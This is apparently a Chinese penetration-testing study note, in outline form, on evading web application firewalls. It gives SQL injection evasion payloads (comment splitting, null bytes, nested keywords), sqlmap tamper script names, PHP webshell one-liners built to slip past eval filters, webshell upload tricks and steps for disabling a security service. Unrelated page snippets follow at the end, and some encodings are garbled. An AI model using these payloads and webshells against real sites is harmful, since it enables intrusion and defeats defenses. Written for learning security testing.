渗透测试学习 二十八、WAF绕过详解
大纲:
WAF防护原理讲解
目录扫描绕过WAF
手工注入绕过WAF
sqlmap绕过WAF
编写salmap绕过WAF
过WAF一句话编写讲解
菜刀连接绕过WAF
webshell上传绕过WAF
提权绕过WAF
WAF绕过原理详解
知己知彼百战百胜
了解WAF防护原理
查看WAF防护位置
熟悉防护规则
了解防护机制
查看拦截时间阀值
目录扫描绕过WAF
两种方式:
1、修改客户端IP
2、减慢扫描速度
3、通过代理欺骗WAF
手工注入绕过WAF
搭建测试环境
了解绕过原理
熟悉常见绕过构造语句
构造绕过测试环境
搭建环境
利用mysql客户端
配置注入源码
注入绕过方法
1、大小写变种
2、SQL注释
3、URL编码
4、空字节
5、嵌套、剥离
6、非标准入口点
7、避开自定义过滤器
使用注释
union select 1,2,3 from admin
注释完
/**/union/**/select/**/1,2,3 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/ 1,2,3 from admin
第二种注释
/*!and*/ 1=2
URL编码
正常编码
‘为%27
1=52f *=%2a %=%25
/**/=%25 2f%25 2a*1
空字节
一些过滤器处理输入时,碰到拿到空字节就会停止处理。
如:
id=1%00and1=2
嵌套剥离
一些过滤器将用户的输入进行剥离敏感函数
应对方法:
seleselectect
剥离后
select
总结编写绕过语句
利用注释
/*^abc^*/
包含关键字
/*!/*!/*!union*/
变换提交方式
get->post方式或cookie
sqlmap tamper利用
symboliclogical.py
space2mssqlhash.py
appendnullbyte.py
利用修改tamper绕过waf
尝试编写过waf一句话
思路:
利用可变变量
$a=b $b=c $$a=c
利用函数
利用判断语句
利用编码
<?php
@eval($_POST[x]);
?>
会拦截eval函数
<?php
@$_GET[a]($_post[x]);
?>
a:动态的传参,传eval函数或assert等函数
突破waf拦截连接菜刀
用最新版的菜刀
中国蚁剑
过狗菜刀+中转脚本
上传过waf
上传突破禁止上传PHP脚本
1、文件包含
2、双文件上传突破限制
3、修改上传参数
提权过waf
通过程序读密码
利用waf绕过神器
利用exp读hash
将用户添加到远程桌面组,并给目录降权
用第三方软件提权
system把安全狗服务停止,重启服务器
渗透测试学习 二十八、WAF绕过详解的更多相关文章
- 渗透测试学习 二十九、kali安装,信息搜集,服务器扫描
kali安装,信息搜集,服务器扫描 kali介绍 Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统.由Offensive Security Ltd维护和资助.最先由 ...
- 渗透测试学习 十七、 XSS跨站脚本漏洞详解
一般用途:拿cookie进后台,将后台地址一起发送过来 特点:挖掘困难,绕过困难 大纲: XSS漏洞基础讲解 XSS漏洞发掘与绕过 XSS漏洞的综合利用 XSS漏洞基础讲解 XSS介绍: 跨站脚 ...
- 渗透测试学习 二十、 其他漏洞汇总之PHP相关漏洞
大纲: PHP相关漏洞 JSP相关漏洞 其他漏洞汇总 PHP相关漏洞 文件包含漏洞 php://input等伪协议利用 代码执行漏洞 变量覆盖漏洞 文件包含漏洞 程序开发人员一般会把重复使用的函数写到 ...
- 渗透测试学习 二十二、getshell总结
大纲 管理员权限拿shell 普通权限拿shell 常见cms拿shell 进后台主要是可以对网站前台的内容,样式等做操作,要改脚本的内容的权限只有在webshell的权限下才可以(某些情况除外) ...
- 【原创】go语言学习(十八)反射详解
目录 变量介绍 反射介绍 结构体反射 反射总结以及应用场景 变量介绍 1.变量的内在机制 A. 类型信息,这部分是元信息,是预先定义好的B. 值类型,这部分是程序运行过程中,动态改变的 var arr ...
- Java开发学习(二十八)----拦截器(Interceptor)详细解析
一.拦截器概念 讲解拦截器的概念之前,我们先看一张图: (1)浏览器发送一个请求会先到Tomcat的web服务器 (2)Tomcat服务器接收到请求以后,会去判断请求的是静态资源还是动态资源 (3)如 ...
- 渗透测试学习 二十一、 JSP相关漏洞
大纲 ST2漏洞 (Struts2) 反序列漏洞 网站容器,中间键 其他漏洞 Struts2漏洞 简介: Struts2是一个基于MVC设计模式的Web应用框架,它本质上相 ...
- Python学习二十八周(vue.js)
一.指令 1.一个例子简单实用vue: 下载vue.js(这里实用1.0.21版本) 编写html代码: <!DOCTYPE html> <html lang="en&qu ...
- 渗透测试学习 二、Windows基础
系统目录 服务 端口 注册表 黑客常用DOS命令(在拿到shell时会用到) 一. 系统目录 Windows目录 系统的安装目录 System32àconfigàSAM文件 是用户密码的 ...
随机推荐
- docker改变默认存储路径到数据盘(自己实践)
一.首先将数据盘格式化分区并挂载(文章中提到的sdb(腾讯云)实践中是vdb(阿里云),文章中挂载在ssd目录下,实践中是挂载到data目录下的,后面安装docker部分以后是实践中的记录,上面数据盘 ...
- 7. java 数组概念
一.数组概念 数组:是一种容器,可以同时存放多个数据值: 特点:数组是一种引用类型:数组中多个数据,类型必须统一:数组的长度在程序运行期间不可改变: 二.数组初始化 1. 动态初始化(指定长度 ...
- jenkins报错:Problem accessing /jenkins/. Reason: HTTP ERROR 404
这是一个Jenkins的Bug.临时解决方法是:在浏览器中手工输入:http://<ip>:<port>.不要访问"/jenkins"这个路径.
- BZOJ2007/LG2046 「NOI2010」海拔 平面图最小割转对偶图最短路
问题描述 BZOJ2007 LG2046 题解 发现左上角海拔为 \(0\) ,右上角海拔为 \(1\) . 上坡要付出代价,下坡没有收益,所以有坡度的路越少越好. 所以海拔为 \(1\) 的点,和海 ...
- 给Java0基础的五个学习的思路?
关于Java初学者来说,想学习Java教程,需求了解,根底打好才干学得更好,Java教程之学习Java的路线图的五个必经阶段,希望能对Java学习者有所帮忙. 第一个阶段-java根底阶段 1.jav ...
- UnitTest和Developer
UnitTest对项目很重要,这是很多developer都明白的道理,可是真的让所有的developer对自己的代码写UnitTest,似乎是不可能的. developer完全可以以已经有很多task ...
- 新手入门:python的pip安装(二)
pip的安装以及使用pip安装包 —–安装python的时候勾选了下载pip,不知道为什么没下载.然后就偷懒想着需要哪个包再单独去下载就好了,然后!!!每个包都会出点小问题,导致我这个初学者有三天不想 ...
- MySQL中使用group_concat遇到的坑
在使用group_concat的过程中遇到个问题,这里记录一下:在MySQL中有个配置参数group_concat_max_len,它会限制使用group_concat返回的最大字符串长度,默认是10 ...
- 一份完整的PyCharm图解教程
PyCharm 是一种 Python IDE,可以帮助程序员节约时间,提高生产效率.那么具体如何使用呢?本文从 PyCharm 安装到插件.外部工具.专业版功能等进行了一一介绍,希望能够帮助到大家. ...
- dotnetcore实现Aop
dotnetcore实现Aop Aop大家都不陌生,然而今天给大家不将讲官方的filter,今天给大家分享一个轻量级的Aop解决方案(AspectCore) 什么是AspectCore AspectC ...